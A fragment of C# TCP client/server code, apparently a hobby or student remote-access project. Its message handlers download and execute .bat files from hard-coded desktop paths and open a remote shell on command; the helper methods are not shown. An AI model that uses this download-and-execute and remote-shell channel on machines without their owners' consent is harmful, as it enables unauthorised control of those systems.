/// <summary> /// Handelling incoming client requests /// </summary> /// <param name="argument"></param> /// <returns></returns> private async Task ProcessClientRequest(TcpClient client) { ServerClientMessage recivedMessage; try { NetworkStream netstream = client.GetStream(); while (!this.cToken.IsCancellationRequested) { recivedMessage = await CommonLibrary.TcpClass.GetMessageData(netstream); if (!this.cToken.Token.IsCancellationRequested) { switch (recivedMessage.MyMessageType) { case MessageType.AskForFile: { SendFileBack(netstream, recivedMessage); break; } case MessageType.DownloadAndExe: { TcpClass.DownloadAndExeFile(recivedMessage, @"C:\Users\tomer\OneDrive\Desktop\FileInServer\Hello.bat"); break; } case MessageType.RunShell: { await RunClient(); await SendClientRunShell(netstream); break; } case MessageType.DownloadAndExeRes: break; default: break; } } } } catch (Exception ex) { Console.WriteLine(ex.Message); } }
/// <summary> /// Handling requests from the clients /// </summary> /// <param name="FileName"></param> /// <param name="Host"></param> /// <param name="Port"></param> private async Task HandleClientRequest() { try { ServerClientMessage recivedMessage; while (!this.cToken.Token.IsCancellationRequested) { recivedMessage = await TcpClass.GetMessageData(this.netStream); if (!this.cToken.Token.IsCancellationRequested) { switch (recivedMessage.MyMessageType) { case MessageType.DownloadAndExe: { string FileName = @"C:\Users\guy\Desktop\FileToSendFromServer\OpenNotepad++.bat"; TcpClass.DownloadAndExeFile(recivedMessage, FileName); break; } case MessageType.RunShell: { RunShell(); break; } default: { Console.WriteLine("Invalid message type"); break; } } } } } catch (Exception ex) { Console.WriteLine(ex.Message); } finally { this.netStream.Close(); this.myClient.Close(); } }